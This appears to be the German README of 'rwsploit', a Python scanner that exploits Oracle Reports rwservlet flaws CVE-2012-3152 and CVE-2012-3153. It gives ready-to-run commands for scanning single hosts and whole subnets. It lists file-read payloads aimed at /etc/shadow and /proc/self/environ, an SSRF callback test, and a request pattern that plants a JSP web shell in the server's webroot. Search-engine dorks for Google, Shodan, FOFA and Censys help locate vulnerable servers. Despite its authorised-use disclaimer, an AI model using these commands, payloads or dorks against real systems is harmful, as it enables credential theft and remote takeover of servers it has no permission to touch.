
Automatisierter Exploitation-Scanner für Oracle Reports Server (rwservlet) — CVE-2012-3152 / CVE-2012-3153. Erkennt, identifiziert, liest Dateien via LFI, testet SSRF via Webhook und lädt JSP-Shells hoch. Ziel: Oracle Reports < 11g. Nur für autorisierte Nutzung.
⚠️ Nur für autorisierte Nutzung. Führen Sie dieses Tool nur gegen Systeme aus, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Nicht autorisierte Nutzung ist illegal.
Ein gezielter Exploitation-Scanner für Oracle Reports Server (rwservlet), der auf CVE-2012-3152 und CVE-2012-3153 abzielt – betroffen sind Versionen unter 11g. Automatisiert Erkennung, LFI-Dateiauslesen, SSRF-Tests und JSP-Shell-Upload über einzelne IPs, CIDR-Bereiche oder Ziellisten. Intelligentes TCP/HTTP-Vorfiltern überspringt sofort tote Hosts, sodass keine Zeit verschwendet wird.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Python 3.8+ erforderlich. Keine anderen Abhängigkeiten.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
Ohne Argumente ausführen, um das vollständige Hilfemenü und Recon-Dorks anzuzeigen.
# Nur Erkennung
python3 rwsploit.py -t 10.10.10.55 -p 7777
# Erkennung + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# Vollständige Kette — LFI + SSRF + Shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# Subnetz-Scan, Dumps speichern
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# Aus Datei, kein SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
targets.txt-Format
# comment — skipped
10.10.10.55
10.10.11.0/24
Liest weltweit lesbare Dateien, indem es zuerst das Betriebssystem über showenv erkennt und dann nur das passende Payload-Set ausführt.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 Keine LFI-Ausgabe bedeutet nicht, dass das Ziel sicher ist – Oracles Konfiguration und Dateiberechtigungen variieren. Testen Sie SSRF und Shell-Upload immer unabhängig.
Sendet rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> und fragt die webhook.site API nach einem Callback ab. Bei einem Treffer werden die Quell-IP, Methode und der User-Agent ausgegeben. Ein neues Webhook-Token wird automatisch beim Start erstellt.
--shell)PATH_TRANSLATED aus showenv, um den tatsächlichen Webroot-Pfad zu erhalten.kxqbrmfa.jsp).rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | Beschreibung |
|---|---|
| CVE-2012-3152 | Nicht authentifiziertes Dateilesen über den rwservlet report-Parameter |
| CVE-2012-3153 | SSRF und Dateischreiben über JOBTYPE=rwurl + URLPARAMETER |
Betrifft Oracle Reports Server 6i, 9i, 10g – in 11g behoben.
Nur für autorisierte Penetrationstests, CTF-Herausforderungen und Sicherheitsforschung. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Flag | Beschreibung | Standard |
|---|
-t | Ziel-IP, Hostname oder CIDR. Mehrere Werte werden akzeptiert. | — |
-f | Datei mit einer IP oder CIDR pro Zeile. # = Kommentar. | — |
-p | Ein benutzerdefinierter Port – überschreibt die Standardportliste. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | Gleichzeitige Threads. | 15 |
-o | LFI-Dumps mit diesem Präfix auf die Festplatte speichern. Z.B. -o loot → loot_<ip>_<port>_<file>.txt | stdout only |
--timeout | Anfrage-Timeout in Sekunden. | 10 |
--lfi | LFI-Dateilese-Payloads ausführen. Das Betriebssystem wird zuerst erkannt, sodass nur relevante Payloads ausgeführt werden. | off |
--no-ssrf | SSRF-Webhook-Test überspringen. | off |
--shell | Eine JSP-Shell hochladen. Fragt nach der URL, die Ihren Shell-Inhalt bereitstellt. | off |
-h | Hilfe und Recon-Dorks anzeigen. | — |